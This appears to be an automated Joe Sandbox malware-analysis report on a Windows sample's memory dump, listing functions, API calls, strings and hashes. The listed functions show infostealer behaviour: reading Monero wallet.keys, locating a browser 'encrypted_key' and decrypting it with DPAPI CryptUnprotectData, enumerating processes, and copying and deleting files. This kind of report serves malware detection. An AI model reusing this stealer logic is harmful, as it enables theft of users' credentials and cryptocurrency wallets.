Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 4ae30b859fc942c9587f152936d11ec8aa2d9d08854ccb4cb357e31b47128d92
Instruction ID: 5b5f5c47f0bfa9475b258acd8296b8f4f2330d650783268263d73b7fdd640aa3
Opcode Fuzzy Hash: 4ae30b859fc942c9587f152936d11ec8aa2d9d08854ccb4cb357e31b47128d92
Instruction Fuzzy Hash: 7F314AB1C01208ABDB14EB91DD82FDEB778AF04314F40518EF20966191DF786B89CF6A

Function 004187C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
RtlAllocateHeap.NTDLL(00000000), ref: 00418836
wsprintfA.USER32 ref: 00418850

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Strings

%dx%d, xrefs: 00418847

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction ID: e741bf7ca2fc1d65a497d39fe48fe123552d5275a0b8a8093fc8d321cf3eb0b5
Opcode Fuzzy Hash: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction Fuzzy Hash: 48217FB5A80208BFDB00DFD4DD49FAEBBB9FB49B00F104119F605A7280C779A900CBA5

Function 00418D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00418D62
wsprintfW.USER32 ref: 00418D78

Strings

%hs, xrefs: 00418D6F

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction ID: e0c39cc4b97fe4de81499882959c588a1d03a161ade5b5bfa375175f6a3fb920
Opcode Fuzzy Hash: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction Fuzzy Hash: 96E08CB8A80208BFC710DBD4EC0AE697BB8EB05702F000194FE0A87280DA719E008B96

Function 0040A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(00420E1A,012899C8,004205AE,?,?,004013F9,?,0000001A,00420E1A,00000000,?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlen.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 725788eba44463d4c513e2756b6ea09236ad55c473157db14b89c348e9807f7b
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: 725788eba44463d4c513e2756b6ea09236ad55c473157db14b89c348e9807f7b
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 0040D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(00420E1A,012899C8,004205AE,?,?,004013F9,?,0000001A,00420E1A,00000000,?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D481
lstrlen.KERNEL32(00000000), ref: 0040D698
lstrlen.KERNEL32(00000000), ref: 0040D6AC
DeleteFileA.KERNEL32(00000000), ref: 0040D72B

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 2bccf2adba0c6573149dfae4533d97fd852c73f86cd25f235fac12d5c73a1e08
Instruction ID: 265a03a5026cdf5fd4b8160f1a7263b5072f0f83edca8c83d8fca220a3e7f1c0
Opcode Fuzzy Hash: 2bccf2adba0c6573149dfae4533d97fd852c73f86cd25f235fac12d5c73a1e08
Instruction Fuzzy Hash: 8A9145719111089BCB04FBA1DD92EEE7339AF14318F50452EF50772091EF386A9ACB7A

Function 0040D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(00420E1A,012899C8,004205AE,?,?,004013F9,?,0000001A,00420E1A,00000000,?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D801
lstrlen.KERNEL32(00000000), ref: 0040D99F
lstrlen.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 75d72e7265c2b0bcdfeb4fd8a00493fe315c357100f507a1e1d65a562648f628
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: 75d72e7265c2b0bcdfeb4fd8a00493fe315c357100f507a1e1d65a562648f628
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 004170D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 00417111
sA, xrefs: 004172AE, 00417179, 0041717C

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-2614523144
Opcode ID: e8a1614ae27c0826006aff9a976613fec449a8654b29928f6117e4c6c67b7198
Instruction ID: 129a870a3a59fbd97e4d02dfab19d553d00e22c10235de59886d0c6bfd7e61ef
Opcode Fuzzy Hash: e8a1614ae27c0826006aff9a976613fec449a8654b29928f6117e4c6c67b7198
Instruction Fuzzy Hash: 3F5194B0D44218ABDB24EB90DC45BEEB374AF44304F1040AEE51576281DB786EC9CF5D

Function 00413560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 4ab20a381f2e255d8a1b8fcf552e5d20e007fe3511352cd1db8e66a2ffdb7c2b
Instruction ID: aadc2ebd4ddf12cfb04e2c2f4f233bf734449d0873b802f11da9c780ad8921d9
Opcode Fuzzy Hash: 4ab20a381f2e255d8a1b8fcf552e5d20e007fe3511352cd1db8e66a2ffdb7c2b
Instruction Fuzzy Hash: FF4181B1D10108EFCB04EFE5D945AEEB7B4AF54704F10801EE41676291DB789A46CFAA

Function 00409CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(0040148F), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

"encrypted_key":", xrefs: 00409D30
, xrefs: 00409DC1
DPAPI, xrefs: 00409D89

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 4a62dc9678bbcd1cabf209cd892d7595286da244c6d51c9b067c14af0d769b98
Instruction ID: 51515721a1a3ec885207932c39a0a70c56b110abb63bb806a73a598b0ac1e228
Opcode Fuzzy Hash: 4a62dc9678bbcd1cabf209cd892d7595286da244c6d51c9b067c14af0d769b98
Instruction Fuzzy Hash: D33152B5D10109ABCB04EBE4DC85AEF77B8AF48304F14452AE915B7282E7389E04CBA5

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 8b5492bb2172847200a0110b71b51f63116bc16bb71ede11aa5be0a2ca02365c
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: 8b5492bb2172847200a0110b71b51f63116bc16bb71ede11aa5be0a2ca02365c
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00417980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
